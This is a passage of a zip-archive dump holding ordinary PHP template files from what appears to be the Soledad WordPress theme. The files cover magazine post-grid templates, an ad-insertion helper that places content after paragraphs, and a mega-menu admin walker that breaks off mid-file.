                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'audio' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'link' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'quote' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
			<?php endif; ?>
			<?php if ( has_post_format( 'gallery' ) ) : ?>
                <a href="<?php the_permalink() ?>" class="icon-post-format"
                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
			<?php endif; ?>
		<?php endif; ?>
    </div>
    <div class="magcat-detail">
		<?php if ( $m == 1 ): ?>
        <div class="mag-header"><?php endif; ?>
            <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php if ( $m == 1 ): ?></div><?php endif; ?>
		<?php if ( $m == 1 && get_the_excerpt() && ! get_theme_mod( 'penci_home_featured_cat_remove_excerpt' ) ): ?>
            <div class="mag-excerpt entry-content">
				<?php
				if ( get_theme_mod( 'penci_excerptcharac' ) ) {
					the_excerpt();
				} else {
					$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
					penci_the_excerpt( $excerpt_length, $post_id );
				}
				?>
            </div>
		<?php endif; ?>
		<?php penci_soledad_meta_schema(); ?>
    </div>
</div>
PK     N\5C,  C,    inc/modules/insert_ads.phpnu [        <?php
/**
 * Function to control the insert ads after some paragraphs
 * Follow https://keesiemeijer.wordpress.com
 *
 * @Since 7.0
 */

namespace PenciDesign\Insert_Content;
/**
 * Insert content in HTML (containing HTML paragraphs).
 *
 * By default content is inserted in the middle of all paragraphs.
 * i.e. If the HTML contains two paragraphs it will be inserted after the first.
 *
 * If no paragraphs are found in the HTML the inserted contend will be appended to the HTML.
 *
 * Note: The content you want to insert will be wrapped a HTML paragraph element (<p></p>) by default.
 *       Use the $args['insert_element'] parameter to change it to another Block-level HTML element.
 *
 * @param string $content        String of content (with paragraphs) where you want to insert content in.
 * @param string $insert_content String of content you want to insert.
 * @param array  $args           {
 *     Optional. Array with optional arguments.
 *
 *     @type string    $parent_element_id     Parent element id to search paragraphs in.
 *                                            Default: empty string. Search for paragraphs in the entire content.
 *     @type string    $insert_element        Block-level HTML element the inserted content ($insert_content) is wrapped in.
 *                                            Default 'p'. (e.g. 'p', 'div', etc.)
 *     @type int       $insert_after_p        Insert content after a number of paragraphs.
 *                                            Default empty string. The content is inserted after the middle paragraph.
 *     @type bool      $insert_if_no_p        Insert content even if the required number of paragraphs from 'insert_after_p' (above) are not found.
 *                                            Default true. Insert after the last paragraph.
 *                                            Or insert after the content if no paragraphs are found.
 *     @type bool      $top_level_p_only      Insert content after top level paragraphs only.
 *                                            Default true (recommended)
 * }
 * @return string      String with inserted content.
 */
function insert_content( $content, $insert_content = '', $args = array() ) {

	if ( ! $content ) {
		return '';
	}

	$args = array_merge( get_defaults(), (array) $args );

	if ( empty( $insert_content ) ) {
		return $content;
	}
	
	// Validate arguments.
	$args['parent_element_id'] = trim( (string) $args['parent_element_id'] );
	$args['insert_element']    = trim( (string) $args['insert_element'] );
	$args['insert_element']    = $args['insert_element'] ? $args['insert_element'] : 'p';
	$args['insert_after_p']    = abs( intval( $args['insert_after_p'] ) );
	$args['insert_every_p']    = abs( intval( $args['insert_every_p'] ) );
	$parent_element            = false;

	$nodes = new \DOMDocument();

	// Load the HTML nodes from the content.

	@$nodes->loadHTML( mb_convert_encoding( $content, 'HTML-ENTITIES', 'UTF-8' ), LIBXML_NOERROR );

	if ( $args['parent_element_id'] ) {
		$parent_element = $nodes->getElementById( $args['parent_element_id'] );

		if ( ! $parent_element ) {
			// Parent element not found.
			return $content;
		}

		// Get all paragraphs from the parent element.
		$p = $parent_element->getElementsByTagName( 'p' );
	} else {
		// Get all paragraphs from the content.
		$p = $nodes->getElementsByTagName( 'p' );
	}

	$insert_nodes = new \DOMDocument();

	// Content wrapped in the parent HTML element (to be inserted).
	$insert_content = "<{$args['insert_element']}>{$insert_content}</{$args['insert_element']}>";

	// Load the HTML nodes from the content to insert.
	@$insert_nodes->loadHTML( mb_convert_encoding( $insert_content, 'HTML-ENTITIES', 'UTF-8' ) );

	$insert_element = $insert_nodes->getElementsByTagName( $args['insert_element'] )->item( 0 );

	if ( ! $insert_element ) {
		return $content;
	}

	// Get paragraph indexes where content should be inserted after.
	$nodelist = get_node_indexes( $p, $args );

	// Check if paragraphs are found.
	if ( ! empty( $nodelist ) ) {

		$inserted = insert_nodes( $nodes, $insert_element, $p, $nodelist, $args );

		if ( ! $inserted ) {
			return $content;
		}

		$html = get_HTML( $nodes );
		if ( $html ) {
			$content = $html;
		}
	} else {
		// No paragraphs found.
		if ( (bool) $args['insert_if_no_p'] ) {

			if ( $parent_element ) {
				// Insert content after parent element.
				insert_content_element( $nodes, $parent_element, $insert_element );

				$html = get_HTML( $nodes );
				if ( $html ) {
					$content = $html;
				}
			} else {
				// Add insert content after the content.
				$content .= $insert_content;
			}
		}
	}

	return $content;
}

/**
 * Inserts nodes
 *
 * @param object $nodes          DOMNodeList instance containing all elements.
 * @param object $insert_element DOMElement object to insert.
 * @param object $p              DOMNodeList instance containing all the p elements.
 * @param array  $nodelist       Array with HTML paragraph indexes.
 * @param array  $args           Optional arguments. See: insert_content().
 * @return bool True if the node was inserted.
 */
function insert_nodes( $nodes, $insert_element, $p, $nodelist, $args ) {
	$_args = $args;
	if ( $args['insert_every_p'] ) {

		$node_count = count( $nodelist );
		$step       = (int) $args['insert_every_p'];

		if ( ( $step + $step ) > $node_count ) {
			$args['insert_every_p'] = '';
			$args['insert_after_p'] = $step;
			return insert_node( $nodes, $insert_element, $p, $nodelist, $args );
		}

		$inserted = false;
		$range    = range( $step, $node_count, $step );
		$range    = array_values( array_reverse( $range ) );
		foreach ( $range as $index ) {
			$_args['insert_after_p'] = $index;
			$inserted = insert_node( $nodes, $insert_element, $p, $nodelist, $_args );
			if ( ! $inserted ) {
				break;
			}
		}

		return $inserted;
	} else {
		return insert_node( $nodes, $insert_element, $p, $nodelist, $args );
	}
}

/**
 * Inserts a node.
 *
 * @param object $nodes          DOMNodeList instance containing all elements.
 * @param object $insert_element DOMElement object to insert.
 * @param object $p              DOMNodeList instance containing all the p elements.
 * @param array  $nodelist       Array with HTML paragraph indexes.
 * @param array  $args           Optional arguments. See: insert_content().
 * @return bool True if the node was inserted
 */
function insert_node( $nodes, $insert_element, $p, $nodelist, $args  ) {
	$insert_index = get_item_index( $nodelist, $args );

	if ( false === $insert_index ) {
		return false;
	}

	// Insert content after this (paragraph) node.
	$insert_node = $p->item( $insert_index );

	// Insert the nodes.
	insert_content_element( $nodes, $insert_node, $insert_element );
	return true;
}

/**
 * Get default arguments.
 *
 * @return array Array with default arguments.
 */
function get_defaults() {
	return array(
		'parent_element_id' => '',
		'insert_element'    => 'p',
		'insert_after_p'    => '',
		'insert_every_p'    => '',
		'insert_if_no_p'    => true,
		'top_level_p_only'  => true,
	);
}

/**
 * Returns indexes from a DOMNodeList instance containing HTML paragraphs.
 * Nested HTML paragraphs are excluded if $args['top_level_p_only'] is set to true.
 *
 * @param object $nodes DOMNodeList instance containing all the p elements.
 * @param array  $args  Optional arguments. See: insert_content().
 * @return array        Array with HTML paragraph indexes.
 */
function get_node_indexes( $nodes, $args ) {
	$args      = array_merge( get_defaults(), (array) $args );
	$nodelist  = array();
	$length    = isset( $nodes->length ) ? $nodes->length : 0;
	$parent_id = trim( $args['parent_element_id'] );

	for ( $i = 0; $i < $length; ++$i ) {
		$nodelist[ $i ] = $i;
		$parent         = false;
		$node           = $nodes->item( $i );

		if ( $parent_id  ) {
			if ( $node->parentNode->hasAttribute( 'id' ) ) {
				$parent_id_attr = $node->parentNode->getAttribute( 'id' );
				$parent = ( $parent_id === $parent_id_attr );
			}
		} else {
			$parent = ( 'body' === $node->parentNode->nodeName );
		}

		if ( (bool) $args['top_level_p_only'] && ! $parent ) {
			// Remove nested paragraphs from the list.
			unset( $nodelist[ $i ] );
		}
	}

	return array_values( $nodelist );
}

/**
 * Returns the index (for the paragraph) to insert content after.
 * Uses $args['insert_after_p'] to calculate the index.
 *
 * @param array $nodelist Array with HTML paragraph indexes.
 * @param array $args     Optional arguments. See: insert_content().
 * @return int|false Index of the (paragraph) node or false.
 */
function get_item_index( $nodelist, $args ) {

	if ( empty( $nodelist ) ) {
		return false;
	}

	$args         = array_merge( get_defaults(), (array) $args );
	$count        = count( $nodelist );
	$insert_index = abs( intval( $args['insert_after_p'] ) );

	end( $nodelist );
	$last = key( $nodelist );
	reset( $nodelist );

	if ( ! $insert_index ) {
		if ( 1 < $count ) {
			// More than one paragraph found.
			// Get middle position to insert the HTML.
			$insert_index = $nodelist[ floor( $count / 2 ) - 1 ];
		} else {
			// One paragraph.
			$insert_index = $last;
		}
	} else {
		// start counting at 0.
		--$insert_index;
		--$count;

		if ( $insert_index > $count  ) {
			if ( (bool) $args['insert_if_no_p'] ) {
				// insert after last paragraph.
				$insert_index = $last;
			} else {
				return false;
			}
		}
	}

	return $nodelist[ $insert_index ];
}

/**
 * Insert an element (and it's child elements) in the content.
 *
 * @param object $nodes          DOMDocument Object for the content.
 * @param object $insert_node    DOMElement object to insert nodes after.
 * @param object $insert_element DOMElement object to insert.
 * @return void
 */
function insert_content_element( $nodes, $insert_node, $insert_element ) {
	$next_sibling = isset( $insert_node->nextSibling ) ? $insert_node->nextSibling : false;

	if ( $next_sibling ) {
		// get sibling element (exluding text nodes and whitespace).
		$next_sibling = nextElementSibling( $insert_node );
	}

	if ( $next_sibling ) {
		// Insert before next sibling.
		$next_sibling->parentNode->insertBefore( $nodes->importNode( $insert_element, true ), $next_sibling );
	} else {
		// Insert as child of parent element.
		$insert_node->parentNode->appendChild( $nodes->importNode( $insert_element, true ) );
	}
}

/**
 * Returns the next sibling of a node.
 *
 * @param object $node DOMElement paragraph object.
 * @return object Next sibling object.
 */
function nextElementSibling( $node ) {
	while ( $node && ( $node = $node->nextSibling ) ) {
		if ( $node instanceof \DOMElement ) {
			break;
		}
	}
	return $node;
}

/**
 * Returns the HTML from a DOMDocument object as a string.
 * Returns only the HTML from the body element (added by DOMDocument->saveHTML()).
 *
 * @param object $nodes DOMDocument Object for the content.
 * @return string Html.
 */
function get_HTML( $nodes ) {
	$body_node = $nodes->getElementsByTagName( 'body' )->item( 0 );

	if ( $body_node ) {
		// Convert nodes from the body element to a string containing HTML.
		$content = $nodes->saveHTML( $body_node );
		// Remove first body element only.
		$replace_count = 1;

		return str_replace( array( '<body>', '</body>' ) , array( '', '' ), $content, $replace_count );
	}

	return '';
}PK     N\nVC  C     inc/modules/magazine-style-7.phpnu [        <?php
/**
 * Template loop for gird style
 */
$post_id = get_the_ID();
?>
<li class="grid-style<?php if ( get_theme_mod( 'penci_home_featured_cat_overlay7' ) ): echo ' grid-overlay-meta'; endif; ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ) : ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ) : ?>
                <div class="thumbnail">
					<?php do_action( 'penci_bookmark_post' ); ?>
                    <div class="penci-owl-carousel swiper penci-owl-carousel-slider penci-nav-visible" data-auto="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>
                                <div class="swiper-slide swiper-mark-item">

									<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size() ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>


                                    <figure <?php echo penci_layout_bg( $the_image[0] ); ?> class="<?php echo penci_layout_bg_class();?> penci-swiper-mask penci-image-holder"
										<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
										<?php echo penci_layout_img( $the_image[0] ); ?>
                                    </figure>

                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				?>

                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="grid-header-box">
            <h2 class="grid-title entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) || ! get_theme_mod( 'penci_home_featured_cat_author' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                <div class="grid-post-box-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author-italic author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                    class="url fn n"
                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
        </div>

		<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_home_featured_cat_remove_excerpt' ) ): ?>
            <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
				<?php
				do_action( 'penci_before_post_excerpt' );
				if ( get_theme_mod( 'penci_excerptcharac' ) ) {
					the_excerpt();
				} else {
					$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
					penci_the_excerpt( $excerpt_length, $post_id );
				}
				?>
            </div>
		<?php endif; ?>
		<?php penci_soledad_meta_schema(); ?>
    </article>
</li>
PK     N\%)>  >  #  inc/modules/penci-menu-callback.phpnu [        <?php

/**
 * Class penci_nav_menu_edit_walker
 * Callback of penci_nav_menu_edit_walker function in penci-walker.php
 * Use to filter to wp_edit_nav_menu_walker
 *
 * @since 1.0
 */
class penci_nav_menu_edit_walker extends Walker_Nav_Menu_Edit {
	public function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
		$menu_return  = '';
		$menu_control = '';
		$style        = "font-family: 'Open Sans', sans-serif;";

		// Menu setting.
		$penci_cat_mega_menu      = get_post_meta( $item->ID, 'penci_cat_mega_menu', true );
		$penci_number_mega_menu   = get_post_meta( $item->ID, 'penci_number_mega_menu', true );
		$penci_style_mega_menu    = get_post_meta( $item->ID, 'penci_style_mega_menu', true );
		$penci_position_mega_menu = get_post_meta( $item->ID, 'penci_position_mega_menu', true );
		$penci_menu_pos           = get_post_meta( $item->ID, 'penci_menu_pos', true );
		$penci_menu_type          = get_post_meta( $item->ID, 'penci_menu_type', true );
		$penci_menu_load          = get_post_meta( $item->ID, 'penci_menu_load', true );
		$penci_menu_bgimg         = get_post_meta( $item->ID, 'penci_menu_bgimg', true );
		$penci_menu_block         = get_post_meta( $item->ID, 'penci_menu_block', true );
		$penci_menu_mw            = get_post_meta( $item->ID, 'penci_menu_mw', true );
		$penci_menu_mh            = get_post_meta( $item->ID, 'penci_menu_mh', true );
		$penci_menu_bgcl          = get_post_meta( $item->ID, 'penci_menu_bgcl', true );
		$penci_menu_lbtxt         = get_post_meta( $item->ID, 'penci_menu_lbtxt', true );
		$penci_menu_lbs           = get_post_meta( $item->ID, 'penci_menu_lbs', true );
		$penci_menu_lbbg          = get_post_meta( $item->ID, 'penci_menu_lbbg', true );
		$penci_menu_lbcl          = get_post_meta( $item->ID, 'penci_menu_lbcl', true );
		$penci_menu_anchor        = get_post_meta( $item->ID, 'penci_menu_anchor', true );
		$penci_menu_visible       = get_post_meta( $item->ID, 'penci_menu_visible', true );
		// Add option choose mega menu.
		$td_category_tree = array_merge(
			array(
				'- Not Mega Menu -' => '',
			),
			penci_list_categories()
		);

		$penci_block_list = penci_builder_block_list();

		$menu_control .= '<p class="description description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Mega Menu Type</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_type[' . $item->ID . ']" id="" class="widefat code edit-menu-item-mgstyle">';
		$menu_control .= '<option value=""' . selected( $penci_menu_type, '', false ) . '>Default</option>';
		$menu_control .= '<option value="mega-menu"' . selected( $penci_menu_type, 'mega-menu', false ) . '>Mega Menu Builder</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Select Penci Block</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_block[' . $item->ID . ']" id="" class="pcblock-select widefat code edit-menu-item-url">';
		unset( $penci_block_list[''] );
		$menu_control .= '<option data-id="" value="">' . __( 'None', 'soledad' ) . '</option>';
		foreach ( $penci_block_list as $block_slug => $block_name ) {
			$block_id      = get_page_by_path( $block_slug, OBJECT, 'penci-block' );
			$block_id      = isset( $block_id->ID ) && $block_id->ID ? $block_id->ID : '';
			$menu_control .= '<option data-id="' . $block_id . '" value="' . $block_slug . '"' . selected( $block_slug, $penci_menu_block, false ) . '>' . $block_name . ' (ID: ' . $block_id . ')</option>';
		}
		$menu_control .= ' </select>';

		$penci_menu_block_id = 'blockid';
		if ( $penci_menu_block ) {
			$penci_menu_block_id = get_page_by_path( $penci_menu_block, OBJECT, 'penci-block' );
			$penci_menu_block_id = isset( $penci_menu_block_id->ID ) && $penci_menu_block_id->ID ? $penci_menu_block_id->ID : '';
		}
		$menu_control .= '<span class="description pcajax-change"><a target="_blank" class="penciblock-edit-link" data-url="' . esc_url( admin_url( 'post.php?action=edit&post=' ) ) . '" href="' . esc_url( admin_url( 'post.php?action=edit&post=' . $penci_menu_block_id . '' ) ) . '">Edit This Block</a> | <a target="_blank" href="' . esc_url( admin_url( 'edit.php?post_type=penci-block' ) ) . '">' . __( 'Add New Block', 'soledad' ) . '</a></span>';
		$menu_control .= '<span class="description pcajax-none">' . __( 'You can add new a Penci Block on <a target="_blank" href="' . esc_url( admin_url( 'edit.php?post_type=penci-block' ) ) . '">this page</a>', 'soledad' ) . '</span>';

		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Mega Menu Position</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_pos[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value="flexible"' . selected( $penci_menu_pos, 'flexible', false ) . '>Flexible</option>';
		$menu_control .= '<option value="center"' . selected( $penci_menu_pos, 'center', false ) . '>Center</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Maxium Width: (Eg: 100% or 100px)<br>If you want this mega menu to display with full 100% width to the edge of the browser - fill: &nbsp;&nbsp;<strong>full</strong></label>';
		$menu_control .= '<input value="' . $penci_menu_mw . '" type="text" style="' . $style . '" name="penci_menu_mw[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Min Height: (Eg: 100% or 300px)</label>';
		$menu_control .= '<input value="' . $penci_menu_mh . '" type="text" style="' . $style . '" name="penci_menu_mh[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>Load Penci Block Dropdown with AJAX?</label>';
		$menu_control .= '<select style="' . $style . '" name="penci_menu_load[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value="yes"' . selected( $penci_menu_load, 'yes', false ) . '>Yes</option>';
		$menu_control .= '<option value="no"' . selected( $penci_menu_load, 'no', false ) . '>No</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label style="display:block">Mega Menu Background Color</label>';
		$menu_control .= '<input value="' . $penci_menu_bgcl . '" type="text" style="' . $style . '" name="penci_menu_bgcl[' . $item->ID . ']" id="penci_menu_bgcl_' . $item->ID . '" class="widefat code color-picker edit-menu-item-url">';
		$menu_control .= '</p>';

		$img_wrap_class = $data_img = '';
		$img_label      = esc_attr__( 'Upload Background Image', 'soledad' );
		if ( $penci_menu_bgimg ) {
			$data_img       = wp_get_attachment_image_src( $penci_menu_bgimg, 'thumbnail' );
			$data_img       = $data_img[0] ?? '';
			$img_wrap_class = ' active';
			$img_label      = esc_attr__( 'Change Background Image', 'soledad' );
		}

		$menu_control .= '<p data-imgid="' . esc_attr( $item->ID ) . '" class="description penci-mn-settings mega-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label style="display:block">Mega Menu Background Image</label>';
		$menu_control .= '<span class="menu-mn-g">';
		$menu_control .= '<span class="penci_menu_bgimg_btn">' . $img_label . '</span>';
		$menu_control .= '<span class="penci_menu_bgimg_delete_btn' . $img_wrap_class . '">Delete</span>';
		$menu_control .= '</span>';
		$menu_control .= '<input type="hidden" class="custom_media_id widefat code edit-menu-item-url" id="penci_menu_bgimg[' . $item->ID . ']" name="penci_menu_bgimg[' . $item->ID . ']" value="' . $penci_menu_bgimg . '" />';
		$menu_control .= '<span class="pc-mn-image-wrapper' . $img_wrap_class . '"><img style="max-width:70px;height:auto;" class="custom_media_image" src="' . esc_url( $data_img ) . '" alt="" /></span>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings cat-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>';
		$menu_control .= 'Ensure that it is a category mega menu. Make sure the selected category has posts, the menu item you choose is a top-level item, and it does not have any child menu items.';
		$menu_control .= '</label>';

		$menu_control .= '<select style="' . $style . '" name="penci_cat_mega_menu[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		foreach ( $td_category_tree as $category => $category_id ) {
			$menu_control .= '<option value="' . $category_id . '"' . selected( $penci_cat_mega_menu, $category_id, false ) . '>' . $category . '</option>';
		}
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings cat-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>';
		$menu_control .= 'Choose the item style.';
		$menu_control .= '</label>';

		$menu_control .= '<select style="' . $style . '" name="penci_style_mega_menu[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value="1"' . selected( $penci_style_mega_menu, '1', false ) . '>' . __( 'Style 1', 'soledad' ) . '</option>';
		$menu_control .= '<option value="2"' . selected( $penci_style_mega_menu, '2', false ) . '>' . __( 'Style 2', 'soledad' ) . '</option>';
		$menu_control .= '<option value="3"' . selected( $penci_style_mega_menu, '3', false ) . '>' . __( 'Style 3', 'soledad' ) . '</option>';
		$menu_control .= '<option value="4"' . selected( $penci_style_mega_menu, '4', false ) . '>' . __( 'Style 4', 'soledad' ) . '</option>';
		$menu_control .= '<option value="5"' . selected( $penci_style_mega_menu, '5', false ) . '>' . __( 'Style 5', 'soledad' ) . '</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings cat-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>';
		$menu_control .= 'Choose the position for the tabs';
		$menu_control .= '</label>';

		$menu_control .= '<select style="' . $style . '" name="penci_position_mega_menu[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value="side"' . selected( $penci_position_mega_menu, 'side', false ) . '>Side</option>';
		$menu_control .= '<option value="top"' . selected( $penci_position_mega_menu, 'top', false ) . '>Top</option>';
		$menu_control .= '<option value="bottom"' . selected( $penci_position_mega_menu, 'bottom', false ) . '>Bottom</option>';
		$menu_control .= ' </select>';
		$menu_control .= '</p>';

		$menu_control .= '<p class="description penci-mn-settings cat-menu-select description-wide penci-soledad-description penci-hide-child">';
		$menu_control .= '<label>';
		$menu_control .= 'Select the number of rows to display posts in this category mega menu.';
		$menu_control .= '</label>';

		$menu_control .= '<select style="' . $style . '" name="penci_number_mega_menu[' . $item->ID . ']" id="" class="widefat code edit-menu-item-url">';
		$menu_control .= '<option value="1"' . selected( $penci_number_mega_menu, '1', false ) . '>1 row</option>';
		$menu_control .= '<option value="2"' . selected( $penci_number_mega_menu, '2', false ) . '>2 rows</option>';
